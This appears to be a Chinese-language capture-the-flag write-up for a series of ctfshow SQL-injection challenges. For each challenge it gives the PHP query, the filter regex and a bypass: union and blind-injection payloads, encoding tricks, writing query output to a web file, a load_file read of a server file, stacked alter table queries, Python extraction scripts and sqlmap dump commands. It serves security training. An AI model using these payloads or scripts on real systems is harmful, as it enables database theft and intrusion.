参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 回显注入 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
# 确定回显列数
-1' union select NULL,NULL,NULL--+
# 查询当前数据库中表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
# 查询列名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='ctfshow_user'--+
# 查看表中内容
-1' union select id,username,password from ctfshow_user--+
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 回显注入 |
增加过滤
//检查结果是否有flag if($row->username!=='flag'){ $ret['msg']='查询成功'; }
# 确定回显列数
-1' union select NULL,NULL--+
# 查询当前数据库中表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+
# 查询列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='ctfshow_user2'--+
# 查看表中内容
不返回username列就行了。
-1' union select id,password from ctfshow_user2--+
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 回显注入 |
增加过滤
//检查结果是否有flag if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查询成功'; }
使用to_base64() 或者hex()绕过检查
-1' union select id,to_base64(username),hex(password) from ctfshow_user3--+
可以使用burpsuite中自带的decoder解码。
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 回显注入 |
增加过滤
//检查结果是否有flag if(!preg_match('/flag|[0-9]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
使用REPLACE()将数字替换为字符串,将关键字替换掉。
-1' union select REPLACE(username,'g','a'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'0','numa'),'1','numb'),'2','numc'),'3','numd'),'4','nume'),'5','numf'),'6','numg'),'7','numh'),'8','numi'),'9','numj') from ctfshow_user4 --+
写个脚本替换一下
import sys
str = sys.argv[1]
print(str.replace("numa",'0')
.replace("numb",'1')
.replace("numc",'2')
.replace("numd",'3')
.replace("nume",'4')
.replace("numf",'5')
.replace("numg",'6')
.replace("numh",'7')
.replace("numi",'8')
.replace("numj",'9'))
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 回显注入 |
增加过滤
//检查结果是否有flag if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
将读取文件写入web目录
-1' union select username , password from ctfshow_user5 into outfile '/var/www/html/test.txt' --+
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 回显注入 |
现在是过滤输入了
function waf($str){
return str_replace('select', 'ctfshow', $str);
}
大小写绕过即可
-1' union sElect id,username,password from ctfshow_user--+
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 回显注入 |
过滤输入
function waf($str){
return preg_match('/ /', $str);
}
使用注释符/**/绕过
-1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user%23
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 回显注入 |
过滤输入
function waf($str){
return preg_match('/ |\*/', $str);
}
使用%09绕过
-1'%09union%09select%09id,username,password%09from%09ctfshow_user%09where%09username="flag"%23
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 回显注入 |
过滤输入
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\0x0c|\x00|\x0d|\xa0/', $str);
}
没有过滤掉%0c
-1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 回显注入 |
过滤得比较严了,%23也过滤掉了,采用另一种方式绕过。
参考Y4tacker师傅的方法
'or(id=26)and'1'='1
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 布尔盲注 |
查询语句
$sql = "select count(pass) from ".$_POST['tableName'].";";
过滤输入
//对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str); }
返回结果
//返回用户表的记录总数 $user_count = 0;
使用脚本
import requests
url="http://fa2d813a-9938-4fd4-8d88-926941ffec88.challenge.ctf.show:8080/select-waf.php"
flag="ctfshow{"
for i in range(0,100):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
data={
'tableName':f"(ctfshow_user)where(pass)like'{flag+j}%'"
}
r=requests.post(url=url,data=data).text
if "$user_count = 1" in r:
flag+=j
print(flag)
if j=='}':
exit()
break
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 布尔盲注 |
过滤输入
//对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); }
过滤了where ' " ,但是没有过滤空格。
使用联合查询中的on来绕过where的过滤,使用16进制绕过引号的过滤。
import requests
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
url="http://791371f6-4c12-42dd-b11f-295274d7fa36.challenge.ctf.show:8080/select-waf.php"
flag="ctf"
for i in range(0,100):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
data={
'tableName':f"ctfshow_user a inner join ctfshow_user b on b.pass like 0x{str_to_hex(flag+j+'%')}"
}
r=requests.post(url=url,data=data).text
if "$user_count = 22" in r:
flag+=j
print(flag)
if j=='}':
exit()
break
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 布尔盲注 |
过滤输入
//对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); }
过滤了所有数字,使用true来表示数字。
import requests
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
def createStrNum(s):
str=""
str+="chr("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",chr("+createNum(ord(i))+")"
return str
url="http://5fabda27-1f4c-4024-bf04-23f72166277e.challenge.ctf.show:8080/select-waf.php"
flag="ctf"
for i in range(0,100):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
data={
'tableName':f"ctfshow_user a inner join ctfshow_user b on b.pass like concat({createStrNum(flag+j+'%')})"
}
r=requests.post(url=url,data=data).text
if "$user_count = 0" not in r:
flag+=j
print(flag)
if j=='}':
exit()
break
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 布尔盲注 |
过滤输入
//对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); }
增加过滤了< > % ^
同样使用上题脚本。
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 万能密码 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
后端处理
$username = $_POST['username']; $password = md5($_POST['password'],true); //只有admin可以获得flag if($username!='admin'){ $ret['msg']='用户名不存在'; die(json_encode($ret)); }
username必须设置为admin,可控的只有password,需要绕过md5函数。
md5()https://www.php.net/manual/zh/function.md5https://www.php.net/manual/zh/function.md5
利用特殊字符串ffifdyop构造万能密码。
参数类型 | 数字型 |
SQL语句 | SELECT |
注入方式 | 万能密码 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username}";
后端处理
//用户名检测 if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==intval($password)){ $ret['msg']='登陆成功'; array_push($ret['data'], array('flag'=>$flag)); }
Mysql中username为string类型,与数字比较时会转换类型为数字0。
PHP中也同样有类型转换。
username=0&password=0
参数类型 | 数字型 |
SQL语句 | SELECT |
注入方式 | 布尔盲注 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username}";
后端处理
//用户名检测 if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; }
根据提示flag在api/index.php文件中
使用脚本
按照之前文件格式,从266位开始。
import requests
url="http://bfe6ca93-36a7-467c-85cd-7c56600e40f6.challenge.ctf.show:8080/api/"
flag=""
for i in range(266,1000):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}<>?":
data={
'username':f"if(substr(load_file('/var/www/html/api/index.php'),{i},1)='{j}','admin','test')", //(1)登陆失败 (2)查询失败
'password':"0"
}
r=requests.post(url=url,data=data).text
if "\\u5bc6" in r: //‘登陆失败’的utf编码
flag+=j
print(flag)
if j=='}':
exit()
break
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 布尔盲注 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'";
后端处理
//密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪
使用脚本,copy一份
# @Author:Y4tacker
import requests
url = "http://ff5553e5-08ad-4d20-9bb3-04ad7f761bd8.challenge.ctf.show:8080/api/"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
# 查flag
payload = "select group_concat(f1ag) from ctfshow_fl0g"
data = {
'username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)='1",
'password': '1'
}
r = requests.post(url,data=data)
if "密码错误" == r.json()['msg']:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 布尔盲注 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'";
后端处理
//密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪 if(preg_match('/file|into|ascii/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
ascii()函数被禁用,使用ord()函数即可。继续使用上题脚本。
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 布尔盲注 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'";
后端处理
//密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪 if(preg_match('/file|into|ascii|ord|hex/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
继续ban函数。。。
直接使用字符进行比较。
# @Author:fallingskies
import requests
url = "http://ea742c3d-20f1-48e8-a6ea-ae67029fc374.challenge.ctf.show/api/"
result = ""
character = "{abcdefghijklmnopqrstuvwxyz0123456789-_}"
for i in range(1,50):
for c in character:
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
# 查flag
payload = "select group_concat(f1ag) from ctfshow_fl0g"
data = {
'username': f"admin' and if(substr(({payload}),{i},1)='{c}',1,2)='1",
'password': '1'
}
r = requests.post(url,data=data)
if "密码错误" == r.json()['msg']:
result += c;
print("[+]"+result)
else:
continue
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 布尔盲注 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'";
后端处理
//密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪 if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
过滤掉了substr()函数,改用mid()函数即可。
参数类型 | 字符型 |
SQL语句 | SELECT |
注入方式 | 布尔盲注 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'";
后端处理
//密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪 if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
还是没有过滤mid()函数,继续使用上题脚本。
参数类型 | 数字型 |
SQL语句 | SELECT |
注入方式 | 堆叠注入 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
传入字符是数字型,需要转成16进制。使用堆叠注入更新表中pass。
参数类型 | 数字型 |
SQL语句 | SELECT |
注入方式 | 堆叠注入 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if(strlen($username)>16){ $ret['msg']='用户名不能超过16个字符'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
题目有问题,select还是能用。。。。
参数类型 | 数字型 |
SQL语句 | SELECT |
注入方式 | 堆叠注入 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
使用show命令返回表名。
参数类型 | 数字型 |
SQL语句 | SELECT |
注入方式 | 堆叠注入 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
可使用上题解法,另一种解法:
使用alter修改字段名,使password和id列名互换,这样,只需要爆出admin账号的id即可。(设置一个中间变量,防止列名相同产生冲突)
username=1;alter table ctfshow_user change `id` `fs` varchar(50);alter table ctfshow_user change `pass` `id` varchar(50);alter table ctfshow_user change `fs` `pass` varchar(50);
&password=123
admin转16进制:0x61646d696e
参数类型 | 数字型 |
SQL语句 | SELECT |
注入方式 | 堆叠注入 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
多过滤了一个括号(
使用web197的方法。
参数类型 | 数字型 |
SQL语句 | SELECT |
注入方式 | 堆叠注入 |
查询语句
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
多过滤了一个逗号,
继续使用web197的方法。
开始考察sqlmap的使用
使用--referer参数修改header头中referer参数。
使用--batch参数自动选择默认值。
python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch
设置代理,查看sqlmap流量
--proxy
python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch --proxy="http://127.0.0.1:8080"
sqlmap自带的user-agent头。
可以使用--user-agent来修改。这里使用默认即可。
接下来就是固定步骤了。
1. 查看数据库
python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch --dbs
2. 查看表
python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch -D ctfshow_web --tables
3. 查看列名
python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch -D ctfshow_web -T ctfshow_user --columns
4. 查看字段
python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch -D ctfshow_web -T ctfshow_user -C pass --dump
5. 获得flag
使用--date参数,使用post形式传递参数。
python3 sqlmap.py -u "http://b0992528-4cd8-4ed4-8489-b185eefb09ee.challenge.ctf.show/api/" --data="id=1" --batch --referer="ctf.show"
提示用--method参数改变请求方式。
python3 sqlmap.py -u "http://0127ff06-6352-4a51-8d67-9096b8824c44.challenge.ctf.show/api/index.php" --data="id=1" --method="PUT" --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump
使用PUT方法时,sqlmap默认使用Content-Type: application/x-www-form-urlencoded; charset=utf-8
如下:
所以需要手动设置修改content-type
python3 sqlmap.py -u "http://0127ff06-6352-4a51-8d67-9096b8824c44.challenge.ctf.show/api/index.php" --data="id=1" --method="PUT" --headers="Content-Type: text/plain" --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump
使用--cookie参数,设置传递的cookie。
python3 sqlmap.py -u "http://a4105b49-7fbc-48f0-819b-501cf37a6984.challenge.ctf.show/api/index.php" --data="id=1" --method="PUT" --headers="Content-Type: text/plain" --batch --referer="ctf.show" --cookie="PHPSESSID=eqigceibc2q1ucp0jqaiivmck9; ctfshow=9399b2f23dd1cf7598d818c6c9f54943" -D ctfshow_web -T ctfshow_user --dump
每次查询前需要访问token.php
使用sqlmap自带参数设置
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下 --safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数
python3 sqlmap.py -u "http://c2f2a975-2b3a-4ba4-a1b7-7484d82518e1.challenge.ctf.show/api/index.php" --data="id=1" --method="put" --headers="Content-Type: text/plain" --referer="ctf.show" --batch --safe-url="http://c2f2a975-2b3a-4ba4-a1b7-7484d82518e1.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --dump